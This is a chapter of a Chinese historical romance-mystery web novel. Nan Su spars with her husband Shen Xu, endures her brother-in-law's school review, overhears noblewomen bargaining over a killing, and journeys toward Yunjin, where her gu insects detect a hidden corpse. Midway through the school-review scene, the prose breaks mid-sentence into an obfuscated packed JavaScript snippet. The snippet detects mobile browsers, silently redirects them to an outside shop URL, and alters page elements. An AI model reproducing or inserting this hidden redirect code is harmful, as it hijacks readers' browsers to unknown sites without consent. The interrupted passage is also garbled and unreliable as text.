南夙收回目光。沈褚忽然从怀里掏出一方油纸包,隔着桌子推到她面前,“嫂嫂,尝尝这个,西市的糖粿,刚出炉的,我特意带回来给嫂嫂尝尝的。” 油纸掀开。甜糯的香气混着胡麻油的焦香散开,两块金黄油亮的糯米点心还冒着丝丝热气。南夙指尖微顿,抬眸时正对上少年灼亮的眼睛。沈褚今年才十二岁,正是天真无邪的年纪。 南夙看了眼眼前的点心,又看了下桌上其他人。见其他人桌前都没有,想说一起吃。话还未出口,便被少年打断。沈褚慌忙起身将东西护在南夙桌前,“嫂嫂,父亲他们早就吃过了,这个是我特意给你买的。” 嗯? 南夙一脸疑惑,干嘛只给自己一个人,这让她压力很大唉。 阿家此时出来打圆场,“夙儿,难得这孩子有孝心,他既说了是给你买的,你便吃了吧。” 南夙又望向沈序。那人衔着筷子正悠闲地吃着东西。感受到南夙的视线,抬眸与她对视,还冲她挑了下眉,一脸不怀好意的样子。 袖口突然被扯了两下。南夙低头,沈褚拽着她的袖口,一副今天这点心她必须吃的架势。 怎么感觉不太对呢? 她被扯着坐下,沈褚又将糖粿往她怀里推。 算了,就是吃个点心而已。她来之后对沈褚这孩子也不错,说不定真的是这孩子有孝心呢?她安慰自己,拈起一块糖粿喂进嘴里。 好吃! 她眸子亮了亮,将点心给吃完了。 用完膳后,沈序说要去一趟大理寺。南夙正巧想问他接下来的打算,见他起身,也连忙跟着一起起身。向阿翁阿家告了礼后,追着沈序的背影出了门。 “沈序,等等我!” 南夙提溜着裙摆在身后喊道。 沈序闻声停下脚步,转过身来,见南夙朝他跑来。 “慢点。”他出声提醒,“今日路面有雪。” “没事。”南夙刹在他身前,仰头看他,“你要去大理寺?” “嗯。” “带上我吧。” “你去做什么?” “调查啊。”南夙理所当然地回答,说完像是意识到什么,指着沈序,“你不会要过河拆桥吧?” “我过什么河,又拆什么桥了?”沈序俯身靠近她,问道。 南夙一听,气急道:“不是说好要合作的吗?” “我们的合作不是只到你帮我抓住郑平,我让你审问他吗?”沈序反问,“难道还有别的?” 南夙顿时哑火,她想了想,当时好像确实没说后续继续合作。 “不管。”她抱手歪头,一副你不依我我就不走的态度,“我还没问到想问的,咱们的合作就不算结束。” “这么霸道?” “嗯!”南夙垫起脚朝他扬起下巴,“就是这么霸道,你答不答应?” 沈序低头轻笑一声,“行。等我抓到幕后黑手,到时候会帮你问的,你要是不放心,也可以像这次一样自己去问。”说完后转身便要走。 “什么意思?”南夙拉住他的袖摆,疑惑问道,“我不能和你一起调查吗?” “嗯。”沈序低头望了眼被她拉着的袖摆,轻点了下头。 “为什么?”南夙不放他走。 沈序不说话,南夙便扯着他的袖口不让他走。就这么僵持了一会。沈序先叹了口气,说道:“会很危险。” “那我更应该去了。”南夙扬高声音,“有我在,你的行动不是会更方便吗?” 沈序伸手将她抓着自己袖子的手轻轻拨开,面对她说道:“这次要去的地方比较远,你跟着去我不放心。” “有什么……” “况且,我答应你父亲要照顾好你,便不能让你陷入危险之中。”南夙正欲反驳他,又听他的声音传来。 南夙安静下来,一时没说话。沈序以为她想开了,伸手理了理她的衣襟,轻声哄道:“回去吧,外面冷。” 他转身要走,袖口又再次被扯住。他停下脚步,叹了口气,南夙坚定的声音自身后而来。 “我知道你担心我,但我这次一定要去的。”南夙绕到他的身前,抬眸望向他的眼睛,“我可以保护好自己。” 她拽着沈序的袖口,无意识地晃了两下,“丢失的灵诏古籍对我们灵诏人很重要,你肯定也知道的吧?再说,我很厉害的,什么长剑弯刀鞭子弯弓我都会使,再不济,遇到危险的话我还有蛊虫可以保护我。” “你要是不相信的话。”她说着激动起来,“我们比一比。我要是赢了你,你就答应我去怎么样?” 沈序眯了眯眼睛,眸子里是读不懂的黯色。 南夙没注意到,还再一个劲儿地劝说他。 “好。”沈序指尖动了动,终于开口。 “真的?”南夙眼睛一下子亮起来,“你答应了?”她还没使出杀手锏呢,就这么答应了? 沈序盯着她透亮的眸子,好笑道:“怎么?不想去了?那我收回……” “去,想去。”南夙立马打断,她撇撇嘴,“说出来的话怎么还能收回去呢?” “那走吧。”她手往身后一指,“打一架?” 沈序越过她的头顶向她指的地方望去,发现她指的是院内的演武场。 他一颔首,“行。” 两人一齐朝演武场走去。 演武场内的积雪被扫堆在一旁。日头悬在头顶,却没什么暖意,将两人的影子缩成脚下的一团浓墨。 南夙径直走向悬挂兵器的架子,手指抚过那一排兵刃,冷铁的冰意混着冬日的寒气爬上她的指尖。她挑选着兵器,沈序便在一旁等她。指尖最终停在一对纤薄的柳叶刃上,刃身如初雪般干净。她将这对双刃抽出来,握在手中打量了一番。 “就它了。”她转身望向沈序。正好试试沈序使双刃的本事怎么样,不然以后不是糟蹋了自己的宝贝刀刃? 沈序看着她手中的双刃几不可察地挑了下眉,“行。” 他轻笑着,手伸向腰间,腕间一抖,短刃已如毒蛇般袭来。 沈序的短刃斜挑她腕间,南夙旋身避过,青丝在风中扬起一道弧,她反将左手往前攻去,双刃相击,在空中迸出火星。杏色丝带掠过沈序的颈侧,带着淡淡的梅香。 廊下。 “打多久了?”侯夫人虞寒晚捧着暖炉,指尖摩挲着炉身,眼睛却一刻不离地盯着场上过着招的两人,眼神中藏着些担忧。 老管家躬身道:“回夫人,快一个时辰了,要老奴去喊停吗?” 靖北侯沈疏抬手制止,眼中闪过一丝笑意,“让他们打。” 沈褚靠在躺椅上嗑着瓜子儿,看得津津乐道。看上头时激动的起身鼓鼓掌,或者是大声喊着“嫂嫂加油!” 沈序抽空瞪向廊下,他立马缩回椅子里。 日影悄然移动。廊下的茶换了三巡,虞寒晚手中的暖炉早已凉透。演武场边的梅树梢头,几朵花苞在刃风中颤了颤,终于不堪重负地落下。 三百招后,沈序的袖口被削去一截,南夙的鬓发也早已凌乱,碎发黏在侧脸,青丝散落在肩头。两人的喘息声越来越重,却没一人有停下的迹象。 “够了。”虞寒晚等了这许久,终于出声,“再打下去,天都要黑了。” 她嗔怪地瞪了沈疏一眼,像是在责怪他纵容这俩孩子一直打下去。别人看着是不心疼,这俩孩子都是自家的,她看着可心疼。 老管家听她出声,语气还有些怒气,连忙上前,“两位主子,别打了。” 南夙的刀刃划过沈序的鼻尖,沈序侧身避开,一把抓住她的手腕。两人同时朝廊下望去,收起了仍欲出手的刀刃。 沈序放开抓住她的手,喘着气,虎口震裂的血痕在寒风中格外刺目。 南夙直接仰面躺地,青丝在霜地上铺开。她望着不知何时染上暮色的天空,突然笑了:“真过瘾。” 沈序伸手,掌心还有未干的血迹,“起来,地上凉。” 南夙盯着他手臂上被自己划破的伤口,又瞥见他手心的血迹,抓住他的手腕借力跃起,却在站稳时将人往自己一拽,“所以,你输了?” 沈序顺着她的目光望向自己手臂上的伤,突然轻笑一声,“嗯,是我输了,夫人很厉害。” “那,我可以参与接下来的调查了吗?”南夙将歪头迎上他低垂的视线,整个脑袋凑到他的眼前,笑脸盈盈,藏不住赢了他的兴奋。 “当然。”沈序不知为何,看到她的笑脸,便觉得莫名觉得开心,即使是输掉了自己最擅长的双刃,也没有丝毫的低落。他视线掠过南夙手中握着的双刃,脑海中又浮现出南夙方才所使的一招一式。 “你的双刃使得很厉害。”她望着南夙的眼睛,夸赞道。 南夙低头拂了眼手中的刃,抬头说道:“其实我还想说你很厉害呢。” “你的双刃也是从小学的吗?”她问。 “嗯。”沈序点头,“你也是?” 南夙重重点了几下头,“对啊,从小便学了,这是我最擅长使的兵器了,从小到大,我还没遇到过对手呢,你是第一个。” “是吗?我很荣幸。” “我也是。”南夙忽然伸手扯了扯他的袖子,看着那被削去半截的袖口,有些不好意思,“抱歉,把你的……” “两个小祖宗。”侯夫人焦急的声音此时传来,像是憋不住了般。两人回头望去,见侯夫人抱着大氅,身后安雀不知何时来的,手中也抱着件大氅,两人疾步走来。 大氅盖下,将身体完全罩住。南夙瞅了瞅自己杂乱的模样,又瞥了眼沈序接过安雀手中大氅时手上的伤,莫名有些心虚。 她低着头,声音弱弱,“阿家。” “两个小冤家。”阿家无奈开口,“上午才去刨了一身的土,现在直接打起来了。”她拨了拨南夙鬓间凌乱地碎发,“瞧瞧弄成什么样子了。” 南夙低头不敢说话,沈序也不敢。 俩人就这么低头做起了缩头乌龟。 侯夫人又走到沈序身前,摸了摸他的脑袋。半晌,低叹了口气,“快去收拾一下,来膳厅用晚膳。” 沈序南夙:“……” 这个场景有些过于眼熟了。 二人默默点头。虞寒晚便也没再多说什么,转身离去。待人走远,两人同时朝内侧了下脸,四目相对。 “噗呲。” 二人同时笑出声来。 南夙冲他皱皱鼻头,笑着道:“阿家真好。” 沈序垂下眸子,没说话。 南夙又凑到他的身前,“我们下一步计划是什么?什么时候出发?” “什么计划?”站在一旁的安雀突然开口。 南夙循声望去,才发现安雀并未与阿家一同离开,就站在一旁听着他们的对话呢。她直起身子,对安雀说:“我回去告诉你。” 说完又回头继续问沈序。 沈序却没有立马回她,而是朝廊下看了眼。南夙的视线顺着他的目光朝廊下看去。沈褚仍躺在椅子里,一副悠然自得的模样。见她看过去,沈褚立马爬起身来,朝演武场跑来。 “嗯?”她一脸疑惑地看回沈序,“什么意思?” “先把你的事忙完吧。”沈序淡淡开口。 南夙更疑惑,“我有什么事?” “本来是没有。”沈序突然俯身过来,贴着她的耳朵,“但是呢,拿人手短吃人嘴短,你马上就有事儿了。” 南夙还是不懂他什么意思,正想问清楚,那人已经直起身子来转身走了。沈褚也在这时跑到她的身前。 “嫂嫂!”沈褚挠着脑袋停在她的身前,笑得一脸讨好。 她问:“怎么了?” “嫂嫂觉得今日我给嫂嫂买的糖粿味道怎么样?” “很好吃啊。”她毫不犹豫地点头。 “既然嫂嫂喜欢,那嫂嫂能不能帮我一个忙?” 南夙:“……” 在这等着她呢。原来这就是沈序说的拿人手短吃人嘴短。 “你说,需要我做什么?”她问道,想到什么,她又补充道:“犯法的事情除外啊。” “那是当然。”沈褚一拍胸脯,信誓旦旦地保证道。 “那你说吧。” “那个……”沈褚搓了搓手,“明日书院又季考后的训蒙会,嫂嫂可否……” “训蒙会?”南夙略感诧异,“你是要我去你的训蒙会?” “嗯嗯嗯嗯!!!”沈褚头点得如小计啄米般快。 “阿翁阿家或是你哥去便是,为何要我代劳?” 沈褚干笑两声,眼神飘忽,“父亲这几日忙着去京畿营,母亲明日要去拜见祖母。至于我哥……我不敢,不是,我听说他这几日大理寺有要务,忙得很。我听说,他昨日快寅时才回来呢。” 南夙:“……” 有没有一种可能我昨日也是寅时才回来的。 但这么听起来府里确实只有她有时间去这一趟。她还从来没去过训蒙会呢,有些好奇。南夙看了眼站在眼前的少年,心里有些感慨,她才十六不到,居然要去弟弟的训蒙会了。 “好吧,明天我随你去。” 沈褚兴奋得蹦起来,“多谢嫂嫂!嫂嫂之恩,小弟没齿难忘……” 翌日,南夙与安雀一同前往书院。为了让自己看起来更老成些,她还特意让安雀给她梳了圆髻。翻出了箱底赭色长袍,往身上一披,那还不活脱脱像个当家主母的样子了? 书院内,一众学生家长正襟危坐,山长严夫子高坐堂上,手持戒尺,面色肃然地训话,“今日要着重点评丙班沈褚。”正说着,忽见一梳着圆髻的女子跨进门来。 “这位小姐……”严夫子本想叫夫人,但看着眼前人那稚嫩的脸仍是叫不出口,他眯起眼睛打量着与这次训蒙会格格不入的女子,“不知您是哪家的家长?” 南夙端肃行礼,“沈褚的……” “原是沈褚的家长。”南夙还未说完,便见严夫子抖开试卷冷笑,“经义题将‘君子怀德’解作‘好汉惦记点心’,算学题把《周髀》算成‘周家大腿’。” 严夫子目光直直射向南夙,“敢问小姐平日如何管教令弟?” 满座哗然中,南夙耳尖绯红,却仍端着长辈的架子,“回夫子的话,每日……每日……” 南夙绞尽脑汁,她也不知道沈褚这小子每日干啥了啊,这孩子也不是她管教的。她眼睛一转,忽瞥见窗外探进个圆脑袋,沈褚正扒着窗棂冲她挤眼睛。 死小孩,你完了!还敢冲我挤眼睛呢? “啪!” 见南夙迟迟不说话还走神,严夫子手中戒尺敲在案桌上,像是气极般,“好极!今日就请小姐与令弟共抄《学而》篇,三十遍。” “三十遍?”南夙声音陡然拔高。 “三百遍。”山长捋着胡须微笑,将三十遍改成三百遍,“毕竟‘养不教,父之过’,虽说您这‘长嫂如母’的年岁,看着倒比蒙童还鲜嫩些。” 这度日如年的训蒙会终于结束,南夙立即起身出了门。这尴尬的地方她是不想多待一刻。安雀在门外等她,沈褚在一旁缩着脑袋不敢看她。 “嫂嫂。”他开口,声音细如蚊呐。 见他这幅样子,南夙也不忍说他什么。只是语重心长地告诫他一定要刻苦学习。连她都习过四书五经,沈褚怎么能学得烂成这样。 赶紧回家抄书,可别耽搁了她去调查的时间。南夙现在满脑子都想着这件事。她突然反应过来,怪不得沈序说让她先把事忙完,所以他是知道来沈褚的训蒙会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144233|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会被山长罚? 太过分了! 亏她还以为沈序是个好人,对他改观了。她就不该相信这个腹黑的黑莲花! 回去就找他算账。她气势汹汹地提着裙裾下了台阶。 刚出书院大门,两位衣着华贵的夫人携着手自他们身前走过,举止亲昵。明明是再寻常不过的场面,但南夙却觉得这个场景透着说不出的怪异。 眼见那两位夫人的身影越来越远,南夙让安雀带着沈褚先回去,自己则偷偷跟上了前面两人。 南夙跟在两人身后,到一巷口时,见两人拐进了那条僻静深巷,其中一位进去前还小心往巷外看了眼,巷深吞没她们的身影。 不知巷内是否有地藏身,南夙便没跟着进去。她隐在巷外,指尖轻弹,一只细弱发丝的蛊虫无声无息地顺着墙缝爬了进去。蛊虫振翅,将巷内的对话清晰地递入她耳中。 “陈姐姐,求您再向侯爷美言几句。犬子这事也不是什么大事,就是死了个妓子……”一个谦卑的声音响起。 “妹妹可知,上月浙江按察使刚因‘虐杀民女’被革职?”那人还没说完,便被另一人打断,此人语气中带着些不屑与高傲。 “是是是,妹妹都知道。但以侯爷的能力,一定能让我儿没事的吧?” “哼,这就要看你们护安侯府的诚意了。” “是,我们家老爷都安排妥当了,这批运来的东西,永昌侯府拿大头,姐姐看这样行吗?” 那妇人没答话,但南夙知道,这桩交易是谈妥了。听起来两位夫人都是身世显赫之人,居然如此视人命如草芥。还有她们说的那批运来的东西,不知是什么,后续得去调查一下。南夙捏紧了拳头,最后往深巷中望了一眼,转身离去。 日暮将至,南夙推开房门第一时间便朝榻踉跄跑去。不知为何,今日明明只是参加了场训蒙会,她却觉得比昨日与沈序大战三百回合还要累。 她闭上眼睛,胸口重重起伏两下,撑着榻起了身。她先是换下这身不合身的衣裳,又放下了发髻,随意别了根银簪,起身去书房。 她还欠着山长三百遍的《学而》篇呢。 “哎。”她重重吐出口气,有些疲惫地推开书房的门。 书房内竟亮着灯? 南夙往里走去。暖黄的烛光铺满了案桌,映着端坐在案前的身影。那人执笔姿势极正,肩线在灯下勾勒出一道挺拔的轮廓。 “沈序?”看清那人的脸,南夙讶然。 沈序闻声抬头,手边已摞着厚厚一叠宣纸。南夙走近,见纸上字迹峻挺,写的正是《学而》篇。 “回来了?”沈序见她缓缓走进,开口问道。 “你这是……”南夙疑惑问道,“在做什么?” “看不出来?替你抄书。”他蘸了蘸墨,“第一百一十二遍。” 南夙怔然,“你怎么知道我要抄这个?” 沈序笔下未停,“自沈褚入学堂以来,沈家去训蒙会的,次次带着抄书的任务回来,次次抄的都不一样。”他忽然搁笔,转头看向南夙,“不过抄三百遍,倒还是第一次。我有些好奇,夫人是做了什么?让山长这么生气,一抄便抄三百遍?” 南夙有些耳热,说不出话。她瞥见砚台边摆着松子糖,伸手抓了一颗喂进嘴巴里,状似很忙地拿起沈序抄好的书看了眼,这一看,她又惊讶的问道:“你的字写得竟然和我的一模一样?” 沈序噗呲笑出声来,语气得意,“我特意模仿的,看来写得还不错。” “你特意模仿我写的字?” “是啊,不然抄写字迹不一样,岂不是就让山长看出来了?” “你怎么知道我的字长什么样?” 沈序自案边拿起几张宣纸递给她,南夙伸手接过,余光瞥见他手上包着的纱布,她偷摸看了几眼,收回视线看向手中的宣纸,是她初到京城那几日闲来无聊写的一些诗词,没想到居然还留着。 南夙贴着他坐下来,沈序推过一套新文具,“松烟墨,澄心纸。这个用着更趁手。” 南夙捏着笔杆抿抿嘴,“收回今日说你讨厌的话。” 沈序闻言轻笑,“又说我坏话了?” “什么叫又?”南夙抗议。 “难道不是?” “就算是,那还不是因为你讨厌,我能收回就已经很宽宏大量了。” “是是是,夫人说得是。” “哼!” “好了,快些抄书,你不是要同我一道去调查?” 一提到这个,南夙便来了兴趣,她手中笔尖一停,“我们要去哪?” 沈序未抬头,手中动作也未停,“下江南。” “江南?” “对。”沈序颔首,“郑平已死,我们需要重新去找证据。” “那天你审问他到底审问到什么了?”提到郑平,南夙想起来她还不知道那日沈序问到了什么,“还有那个和尚,你审问他问出什么了?我可以知道吗?” 沈序:“当然。” 他将笔搁下,转头望向南夙,“他承认贪饷一事的幕后黑手是户部侍郎尤谭。” “他直接承认了?”南夙惊讶问道,忽又想起那夜看到的郑平的模样,一想到那个场面,那股难闻的血腥味仿佛仍萦绕在鼻尖。 被沈序弄成那副模样,想活不行想死不得。好吧,是个人有什么都得招了。 她莫名打了个寒颤。 沈序看见她在思考,也没打断她,直到南夙重新抬眼看他,他才继续说道:“至于那个和尚,他没什么用。他只负责对接郑平,别的事一概不知。” “那为什么你不留郑平一命,让他去揭发尤谭呢?” 沈序缓缓向她解释:“此事没有那么简单。” “据我所查,尤谭极受圣上重视,且喜欢在朝中拉帮结派,所涉及的官员势力庞大。郑平一个小小的比部员外郎,即使站出来指出尤谭贪墨,恐怕陛下也不会信。若是尤谭随意拉个替死鬼出来,那这案子便会随意结了。反正饷银已经找回,也没人想得罪背后的人。” “那你……” “但我势要将朝中这群危害朝政的臭鱼烂虾揪出来,一网打尽。” 南夙听他这一番话,不知为何竟僵在原地说不出话来。她愣愣地看着沈序的脸发呆,直到沈序发现晃悠她两下她才猛地反应过来。 “那我们什么时候出发?”她歪头凑到沈序眼前。 沈序笑着将她的脑袋推开,“明日。” “明日?这么快?” “嗯。” “那我得赶紧抄书了,今晚必须抄完。”南夙执起笔,坐直身子认真起来,“你别跟我说话了,别打扰我。” 沈序:“……” 他能说什么呢? 他无奈摇摇头,也认真抄起书来。 南夙低头抄书,又斜眼偷看了下沈序手上的伤。再低头抄书,又斜眼看一眼沈序手上的伤。 沈序忽地感觉旁边有人戳自己,他转头望去,见南夙正用手肘轻轻戳他。 “怎么了?”他问。 南夙问他:“你手上的伤……好些了吗?” 沈序望了眼自己的手,将那只缠了纱布的手伸到她的面前,“好多了,看看?” “有什么好看的?”南夙将他的手推开,“上过药了吗?” “嗯。”沈序轻笑,“上过了,没事了。” “那就好。”南夙收回眼,轻声呢喃。 “什么?”沈序没听清她说了什么,又问了一遍。 “没什么。”南夙摇头,端坐着一本正经,“好好抄书!” 沈序:“……” 更漏将残,距离三百还剩最后十一篇,沈序小心翼翼抬起南夙睡熟的脑袋,将压在身下的宣纸抽出,整理好摞在案边。他没着急继续抄书,而是起身在一旁拿了件大氅为南夙盖上,又在炭火盆中添了几节碳,让整个屋子暖和起来。 南夙今日不知为何如此累,见她睡着,沈序也没叫醒她,默默将剩下的书抄完。 11. 云津,到了 卯时一刻,靖北侯府后门。 “我们真的不用跟阿家他们道个别吗?”南夙伸手接过沈序递过来的缰绳,问道。 “不用,我昨日已提前告知过父亲母亲。”沈序说道,“此次出行不宜暴露身份,以免打草惊蛇,越少人知道我们离开越好。” 南夙点头,“好吧。” “好了,先试试这马。”沈序拍拍马身,朝她扬了扬下巴,“话说,你应该会骑马吧。” “嗯。”南夙有气无力地点点头,“会的。” 说着踩上马镫翻身上了马,缰绳一抖,马儿迈腿小跑起来。 沈序望着她在巷中试着马儿的身影,忽然转头问安雀:“你们家小姐怎么了?怎么看着有气无力的?”莫非真是昨夜睡太晚了? 安雀回他:“小姐昨夜魇着了。今日我去叫时还醒不来,流了一身的汗。” “魇着了?”沈序低声重复安雀的话,又抬眼看了眼马背上的南夙,见人仍没什么精神,半晌才收回眼来。 “走吧。”沈序牵过南夙的马绳。 南夙回了神,听见沈序说走了打起了精神。她甩了甩脑袋,问道:“你不是说你的那两个手下也要跟着去吗?” 她说的便是夜探云寂寺那夜她曾见过的江陌与叶燃。江陌是那夜追踪小猫,腰挂鞭子的那位。另一位叶燃,她后来知道他的名字,还是因为完事之后去找江陌要猫,发现二人住一起后江陌介绍的。本来她是想将小猫抱回来养着,没想到那日去发现它与二人相处的很是不错,还尤其喜欢江陌,南夙便没将猫抱回来,留给他们二人了。 “嗯。”沈序右手牵着她的马,左手牵着另一匹,“他们在城南郊外等我们,一起出发目标太大。” 安雀在身后也牵着一匹马默默跟着。本来南夙是想让安雀留下的,但是安雀不放心她,再加上自那日她的眼睛褪色后,每隔两日便要上一次药,此事又不能让别人知晓,便只好一起去。 出了巷口后,沈序便松了手,翻身上马,侧头对身后二人说道:“跟着我。” “嗯。” 三人一道向城外奔去。 …… 城南郊外。 三人早早便等在此处。自远处看去,能看到江陌靠着叶燃,歪斜地站着,二人卸下了鞭子与戟刀这两样显眼的兵器,换了长剑挂在腰间。在二人身旁,还有一位看上去不过十六七的少年,嘴里衔着一根枯草,慵懒地靠在马上,正一脸期待地望着城门的方向。 待三匹马奔来,那抹熟悉的身影出现,他立马来了精神,猛地直起身子将嘴里的枯枝往地上一扔。 “哥!”他朝来人大喊。 南夙远远便看见了叶燃江陌两人的身影,又发现两人身边站着的人,正疑惑这人是谁,忽听得那人朝着沈序大喊了一声哥。 这是我们家阿褚? 她瞪大了眼睛,仔细瞅了眼那人。我们家阿褚一夜之间长这么大了? 距离近一些后,她看清了那人的脸。不对,这不是我们家阿褚啊。沈序哪里来的别的弟弟?我怎么不知道? 我去! 马匹突然躁动了下,吓得南夙赶紧握紧缰绳。她一抬眼,发现沈序正转头看她。 “别走神。”沈序轻声说道。 嗯嗯!! 南夙点头,心下惊讶未平,不会真是她想的那样,这人是阿翁的私生子? 可是阿翁并未纳妾,怎么会有个这么大的儿子。 不不不。 南夙甩甩脑袋,将脑中的猜测甩出去。阿翁怎么会是这种人呢?不可能的,一定是她听错了。 “主上,夫人。” 他们翻身下马,叶燃与江陌便上前朝二人行礼。 南夙跟二人打了招呼后,偷摸着斜起眼睛看了眼一旁的人,却发现那人也一脸好奇地看着自己,表情不似看到沈序时那般高兴。 他是在挑衅我。南夙心下暗暗想道。 她扬起下巴回看那人,脸上拽拽的,同样不让那人半分。没想到的是,她刚看过去,那人便咧开了嘴角,突然喊她:“嫂嫂好!” “啊?”这突如其来的变脸给南夙看不会了,她注意到那人对她的叫法。 还真是弟弟? “嗷!”额头突然被轻击了一下。 南夙吃痛捂住额头,不满地望向罪魁祸首。 “想什么呢?”沈序丝毫不心虚地与她对视,倒把南夙给看心虚了。 “没想什么。”她默默低头往后退了两步。 “介绍一下。”沈序将她往身边一拉,“这位是当朝四皇子韩砚。” 四皇子?皇子? “嫂嫂好!”身前的人又叫了她一声,“好久不见。” “啊?”南夙不解,“我们……见过吗?” “额……”韩砚低头没敢回话,偷瞄了沈序一眼。 沈序有些不自然地咳了咳嗓子,“你上次不是问我是如何偷听到你们的谈话的吗?就他。” “就是你?”南夙打量了一下眼前的人,身形尚未丰满,脸还稚嫩,看上去最多不超过十七岁,应该跟她差不多大,“看不出来你还有这本事呢?” “居然能无声无息地将我们的谈话听走。”她撇撇嘴。 “嘿嘿,嫂嫂莫怪。”韩砚挠挠脑袋,“我没别的本事,就轻功好点。还是沈哥教我的呢。”他伸出只手指指向沈序。 “你教的?”南夙微微歪头,扬起脸看向身旁的沈序。 沈序垂眸看她,“嗯,但他早已出师,如今轻功在我之右。” “那他为什么叫你哥?”南夙问出心中地疑问。 韩砚怎么说也是个皇子,而沈序只是个世子。韩砚叫他哥这岂不是坏了纲理伦常? 沈序听到她的问话一脸无奈,韩砚却一刻不能忍地立马答道:“是我主动叫的,我……我很崇拜沈哥。”说着不好意思的抹了抹脸。 嗯? 这话听着怎么那么奇怪? 南夙觉得自己不该站在这里。 “别听他胡说八道。”沈序说道,“就是教了他几年武而已,他乐意这么叫,让他改改不过来。” “哦。”南夙一副我懂我都懂的表情,“好吧。” “行了,别闲聊了。”沈序转身走到马边,“出发。” 众人一齐上马。南夙微微俯身,长鞭一扬,马儿便狂奔出去。 往江南的方向,马蹄阵阵。 京城到江南路途遥远。他们此行的终点乃是云津。自京城出发,先抵达襄阳,转水路到江州,再自江州走一段陆路,最终到达云津。 十天后,六人抵达襄阳。 “小姐,您可以吗?”码头旁的小摊上,南夙捏着馒头狠狠咬了一口,安雀坐在一旁有些担心地问道。 南夙摇摇头,“没事,也就上下船这一下,上了船之后我待在船阁不出来就好了。” 她往江口看了眼,默默咽了口水。其实还是有些害怕,但她从来之前便知道想要去往江南便一定要走水路。既然决定了要来,她自然是要克服一下的。 沈序带着那三人去买行资,她和安雀在此处等着。 待四人归来,一行人便上了船。南夙果然像她说的那样,上了船后便立马进了船阁,一路上就没上过船板。 沈序几日没见过她,一日拦着安雀问她怎么了,安雀只说是有些水土不服,便打发过去了。 一直到衢州,南夙终于解放,船一靠岸,她第一个冲上了岸。 “身子好些了?”沈序轻撞了下她的肩头。几日不见,今日瞧着倒是还挺有精神的。 南夙伸了个懒腰,整个人都舒展了许多。下了船,她心情不错,连带着对沈序的态度都好了许多。 她朝沈序咧嘴一笑,伸出食指在身前对着空气轻轻点了一下,“好多啦。” 说完便跑走了。留下沈序站在原地与她点在空气里悬着的那只小蝴蝶对视。 半晌,他没忍住轻笑出声。像小朋友的恶作剧,他食指轻点了下那只蝴蝶,心里想道。那蝶轻轻振翅,往野外飞去。 沈序的视线追着那只蝶的影子看了一会儿。收回视线后,她脑子里浮现出南夙的身影 ,明明平日里穿的都是寻常服饰,不知她怎么藏着这么多稀奇的东西,这些东西又藏在哪呢。 南夙那双眼睛突然在他脑子里睁开,琥珀色那么纯粹,像——落日。 “沈序,你发什么呆呢?”南夙凑在他身前仰头看着他,伸手在他眼前挥了挥,那双眼睛就这样在眼前一张一合。 原来不是臆想,南夙就在他眼前。 “没事。”他回过神来,“怎么了?” “应该是我问你怎么了?”南夙歪头,“你发什么呆啊,大家都在那边等你呢。”她朝一边指去。 沈序顺着她手指的地方看去,见江陌和叶燃各牵着两匹马,安雀抱手站在马边,韩砚还是一样地喜欢倚在马身上。四人远远地望着他们二人,也没有催,只静静地等着。 “没事。”沈序摇摇头,“只是想了些事。” “那我们快走吧。”南夙扯住他的手腕,没等他回话便拽着他朝大家走去。 沈序也没抵抗,听话地由她拽着走了。 六人再踏上行程。 连着赶了数日,经过富阳,距离云津越来越近,马蹄声终于不再狂乱,渐缓下来。 南夙将缰绳挽在左手,悠闲地哼着调子。是在驿站时听到的,不知怎么她就记住了,这些天但凡赶路速度放慢些,她便要哼一段。 南方的冬要比京城暖一些,沈序初时还担心她会不适应,尤其是听安雀说她水土不服那段时日。听安雀说后,这次到了衢州他便备了许多药物,没想到剩下一路也没用上。 他望着南夙放松的侧脸,听着她嗓子里哼着的小调,放下心来。 忽有一阵劲风掠过,呼啸着卷起满地尘沙,冲众人劈面而来,众人忙侧身避风。南夙下意识侧首闭目,半披的青丝瞬间被风掀起,如流墨泼洒,在疾风中狂舞飞扬。 风划过踝间,下一秒,银铃震颤,十九蛊在铃中躁动不堪,寒风里沙沙响着。几乎同时,南夙猛地捂住心脏,加快的跳动声自胸口传来。她侧头看向沈序,却见沈序安然无恙地坐在马背上,仍是侧首避风的姿势。 怎么回事? 不是沈序体内的蛊,那圣蛊怎么会突然如此躁动。 她垂下眼眸,掩去眸中游过的银线,以免被沈序他们看了去。 待强风过去,她立刻翻身下了马。 “怎么了。”沈序望见他的动作,问道。 南夙转身朝路边的林子里跑去,也没管后面的人跟没跟上,大声喊道:“这里不对劲。” 安雀见南夙有些着急地跑向林子,立马意识到了什么,也立即下了马去追南夙,却见沈序不知何时也下了马,此刻已经跟上南夙,落后在她一步之后。沈序没有伸手拦住她,也没有问她发现了什么,只是跟在她身后,跟着她的步伐,随着她走。 身后三人见他们都进了林子,叶燃最先反应过来下了马,却没有立刻去追,而是牵过了沈序三人的马。将缰绳一人一根扔给刚下马的江陌和韩砚。三人牵着马慢慢地往林子走去。 沈序送给南夙的银铃是亲手所做,用的都是最好的材料,外观独特,声音脆响。但自从南夙将十九蛊移到里面后,铃舌便被蛊虫霸占,再也摇不出清脆的声音,平日里南夙不论作何行动都不会响。但此刻随着南夙的身影在林中穿行,越往里走银铃却震颤得越激烈。 走至一矮崖处,银铃响动的频率达到了顶峰。 南夙再也坚持不住,心脏狂跳,双腿一软就要跌下去,被沈序一把搂进怀里。 “南夙!” 南夙倒在他的怀里,一张小脸已经不见血色。沈序一手扣住她的腰,让她背对着靠进自己怀里,“怎么回事?” 身后安雀匆匆赶来,望见南夙虚弱的模样,她慌张蹲下问她:“在哪?” 南夙重重呼吸了几下,颤着手往矮崖那一指,“崖下,你注意安全。” 她扶着沈序的手撑起身子,推了推他的胸口,“你同她一起去,她一个人我不放心。” 沈序揽着她的手臂,“要找什么?” “尸体。”南夙缓缓吐出两个字,“应当是个女人的尸体。” 